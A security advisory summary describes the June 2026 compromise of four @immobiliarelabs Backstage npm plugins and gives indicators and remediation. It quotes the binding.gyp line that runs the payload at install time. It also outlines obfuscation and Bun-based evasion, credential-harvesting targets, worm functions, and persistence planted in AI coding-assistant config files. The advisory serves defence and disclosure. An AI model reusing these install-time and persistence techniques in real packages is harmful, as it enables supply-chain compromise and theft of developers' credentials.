
Multiple @immobiliarelabs Backstage Plugins Compromised on npm
StepSecurity reports that multiple npm packages published under the @immobiliarelabs scope, used as Backstage plugins, were compromised and had malicious code injected, likely via a maintainer account or publishing credential takeover. The advisory covers the affected package versions and indicators, warning organizations using these Backstage plugins to check their dependency trees for the compromised releases.
What it is
Four npm packages under the @immobiliarelabs scope — backstage-plugin-gitlab, backstage-plugin-gitlab-backend, backstage-plugin-ldap-auth, and backstage-plugin-ldap-auth-backend — were compromised on June 26, 2026. StepSecurity confirmed the compromise by statically comparing the tarball for backstage-plugin-gitlab 2.1.2 against the clean 2.1.1. All malicious versions were published within a 30-second window as new patch releases across every supported major series simultaneously. StepSecurity ties this to the "Miasma" campaign (same pattern as the earlier leo-platform attack).
How it works
Each bad version adds two files absent from prior releases: a 5 MB index.js and a binding.gyp. Execution fires at install time, not via scripts.postinstall, so postinstall-only scanners miss it. The binding.gyp target uses node-gyp shell expansion to run the payload:
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]The payload is triple-obfuscated (ROT-2 Caesar wrapper around eval, AES-128-GCM blobs with hardcoded keys, then obfuscator.io string rotation). One decrypted blob downloads the Bun runtime from the official oven-sh/bun GitHub releases (bun-v1.3.13) and executes the main payload under Bun — a deliberate evasion, since Bun ignores the Node --require hook that many monitoring tools rely on.
Preconditions / Affected
Any self-hosted Backstage instance or CI job that installed one of the four packages at a compromised version on/after June 26, 2026. Highest exposure is CI runners with cloud/registry credentials in scope.
What to do
The page states no fixed version or single command; act on the indicators it does give:
- Check dependency trees for the four packages at any patch version published June 26, 2026 (the 2.1.x line for gitlab includes the bad 2.1.2; 2.1.1 is clean).
- Detect installs that spawn Bun or read
/proc/<pid>/memofRunner.Worker, or that touch IMDS (169.254.169.254), ECS metadata (169.254.170.2), or Vault token paths (/root/.vault-token,/run/secrets/VAULT_TOKEN). - Rotate everything the harvester targets: GitHub PATs/App JWTs/OIDC/runner tokens, AWS/GCP/Azure creds, Kubernetes service-account tokens, Vault tokens, npm/PyPI/RubyGems/JFrog tokens, SSH keys, and password-manager vaults (Bitwarden, 1Password, gopass).
- Inspect AI-assistant config for persistence written by the
infectHostfunction:.claude/settings.json(SessionStart hook),.github/copilot-instructions.md,.cursor/rules/,.vscode/tasks.json(folderOpen trigger),.aider.conf.yml, plus Kiro/Cody/Gemini/Codex.
The payload also carries worm functions (squatPackage, updateTarball, handleNpmTokens, handlePypiTokens) capable of republishing packages with stolen registry tokens — so a compromised npm/PyPI token is a propagation risk, not just a leak.
Caveats
StepSecurity states technical analysis of the full payload is ongoing and the post will be updated. Worm capability is inferred from function names, not observed propagation. The full IoC list ("For StepSecurity Cu…") is cut off in the fetched text.
Organisations named here
Related in Supply Chain


